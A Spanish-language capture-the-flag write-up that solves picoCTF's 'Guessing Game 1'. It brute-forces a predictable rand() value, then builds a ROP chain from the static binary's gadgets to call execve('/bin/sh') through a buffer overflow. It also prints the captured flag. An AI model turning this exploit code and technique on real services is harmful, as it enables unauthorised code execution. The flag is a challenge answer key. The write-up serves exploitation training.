Guessing Game 1
6 minutos de lectura
Se nos proporciona un binario estático de 64 bits llamado vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Análisis de código estático
Tenemos también el código fuente en C. Básicamente, lo que hace el programa es pedir un número, compararlo con otro aleatorio y si es el mismo, solicitar un nombre para mostrar un mensaje:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Primero de todo, vemos que la función get_random
está llamando a rand
y calculando el resto de dividir dicho número entre 100 (BUFSIZE
). Como la semilla es la misma en cada ejecución del proceso, podemos realizar un procedimiento de prueba y error hasta que obtengamos el número correcto (iterando desde 0 hasta 99).
Una vez que tengamos ese valor, tendremos acceso a la función win
:
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
Vulnerabilidad de Buffer Overflow
A pesar de utilizar fgets
, esta función es vulnerable a Buffer Overflow porque la variable winner
tiene asignado un buffer de 100 bytes (BUFSIZE
) y está leyendo 360 bytes de la entrada estándar, de manera que podemos escribir fuera del buffer reservado.
Debemos recordar las protecciones del binario:
- Tiene NX habilitado, por lo que no podemos ejecutar código arbitrario en la pila (stack)
- Tiene un stack canary, por lo que habrá un valor aleatorio justo antes de
$rip
que será comprobado en cada instrucción de retorno para prevenir que$rip
se sobrescriba. Si el valor del canario se modifica, entonces el programa termina; en caso contrario, el programa continúa
No obstante, en este caso el canario no afectará. Aunque la respuesta de checksec
muestra que hay un stack canary, el Makefile
indica que hay que compilar el código fuente sin canario:
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln
Como NX está habilitado, necesitamos utilizar ROP (Return Oriented Programming). Esta técnica toma direcciones del propio binario que contienen instrucciones (gadgets) que terminan en ret
. Consiguientemente, podemos concatenar una lista de gadgets de manera que se ejecuten uno detrás de otro (ROP chain). Esta es la manera de burlar NX, porque estamos ejecutando instrucciones localizadas en el propio binario, no en la pila (stack).
Desarrollo del exploit
Comencemos realizando fuerza bruta al número. Vemos que el binario es estático, por lo que la función rand
dará siempre el mismo valor la primera vez que se ejecute.
Adivinando el número
Podemos crear un simple script en Python mediante pwntools
para iniciar el proceso, introducir un número y cerrarlo si el número no es correcto:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('vuln', checksec=False)
elf = context.binary
number = 0
number_progress = log.progress('Guessing number')
for i in range(1, 101):
number_progress.status(str(i))
with context.local(log_level='CRITICAL'):
p = elf.process()
p.sendlineafter(b'What number would you like to guess?\n', str(i).encode())
if b'Congrats!' in p.recvline():
number = i
break
p.close()
if number == 0:
log.critical('Failed to guess number')
log.success(f'Guessed number: {number}')
p.close()
Después de ejecutar el script, obtenemos que el número es 84:
$ python3 solve.py
[.] Guessing number: 84
[+] Guessed number: 84
[*] Stopped process './vuln' (pid 361991)
Explotación de Buffer Overflow
Ahora podemos utilizar GDB para encontrar el offset necesario para llegar a $rsp
utilizando un patrón:
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ pattern create 500
[+] Generating a pattern of 500 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
[+] Saved as '$_gef1'
gef➤ run
Starting program: ./vuln
Welcome to my guessing game!
What number would you like to guess?
84
Congrats! You win! Your prize is this print statement!
New winner!
Name? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaa
taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaa
aboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaa
aaacjaaaaaackaaaaaaclaaaaaacmaaa
Congrats aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaa
aaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaa
aaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400c8b in win ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 120 (little-endian search) likely
[+] Found at offset 113 (big-endian search)
Genial. Ahora podemos empezar a construir la ROP chain. Como es un binario estático, necesitamos realizar una syscall
para ejecutar execve("/bin/sh", NULL, NULL);
. Para ello, necesitamos:
$rax
con un valor de0x3b
$rdi
con un puntero a la cadena"/bin/sh"
$rsi
con un valor de0
(NULL
)$rdx
con un valor de0
(NULL
)
Podemos utilizar ROPgadget
para encontrar los gadgets del tipo pop <register> ; ret
y la syscall
:
$ ROPgadget --binary vuln | grep ': pop r[ads][ix] ; ret$'
0x00000000004163f4 : pop rax ; ret
0x0000000000400696 : pop rdi ; ret
0x000000000044a6b5 : pop rdx ; ret
0x0000000000410ca3 : pop rsi ; ret
$ ROPgadget --binary vuln | grep ': syscall$'
0x000000000040137c : syscall
Ahora necesitamos encontrar un espacio de memoria como .bss
, para escribir la cadena "/bin/sh"
. La dirección de .bss
se puede obtener con readelf
:
$ readelf -S vuln | grep '\.bss'
[26] .bss NOBITS 00000000006bc3a0 000bc398
El último gadget que necesitamos es uno para almacenar "/bin/sh"
en la dirección de .bss
. Necesitamos una instrucción de la forma mov qword ptr [<register>], <register> ; ret
. Cualquiera de estas vale:
$ ROPgadget --binary vuln | grep ': mov .word ptr \[r..\], r.. ; ret$'
0x000000000048dd71 : mov qword ptr [rax], rdx ; ret
0x000000000043608b : mov qword ptr [rdi], rcx ; ret
0x0000000000436393 : mov qword ptr [rdi], rdx ; ret
0x0000000000447d7b : mov qword ptr [rdi], rsi ; ret
0x0000000000419127 : mov qword ptr [rdx], rax ; ret
0x000000000047ff91 : mov qword ptr [rsi], rax ; ret
Por ejemplo, podemos utilizar mov qword ptr [rdx], rax ; ret
. Ahora, vamos a crear la ROP chain en el exploit de Python y enviarla:
bss = 0x6bc3a0
pop_rdi_ret = 0x400696
pop_rsi_ret = 0x410ca3
pop_rdx_ret = 0x44a6b5
pop_rax_ret = 0x4163f4
mov_qword_ptr_rdx_rax_ret = 0x419127
syscall = 0x40137c
offset = 120
junk = b'A' * offset
payload = junk
payload += p64(pop_rdx_ret) # $rdx = .bss
payload += p64(bss)
payload += p64(pop_rax_ret) # $rax = "/bin/sh"
payload += b'/bin/sh\0'
payload += p64(mov_qword_ptr_rdx_rax_ret) # Store "/bin/sh" in .bss
payload += p64(pop_rax_ret) # $rax = 0x3b
payload += p64(0x3b)
payload += p64(pop_rdi_ret) # $rdi = .bss (pointer to "/bin/sh")
payload += p64(bss)
payload += p64(pop_rsi_ret) # $rsi = 0
payload += p64(0)
payload += p64(pop_rdx_ret) # $rdx = 0
payload += p64(0)
payload += p64(syscall)
p.sendlineafter(b'Name?', payload)
p.recvline()
p.recvline()
Si lo ejecutamos en local, obtendremos una consola de comandos interactiva:
$ python3 solve.py
[┤] Guessing number: 84
[+] Guessed number: 84
[*] Switching to interactive mode
$ ls
Makefile solve.py vuln vuln.c
Flag
Perfecto, ahora lo podemos lanzar a la instancia remota:
$ python3 solve.py jupiter.challenges.picoctf.org 50581
[┤] Guessing number: 84
[+] Guessed number: 84
[*] Switching to interactive mode
$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_1ed68bc5575f6be1}
El exploit completo se puede encontrar aquí: solve.py
.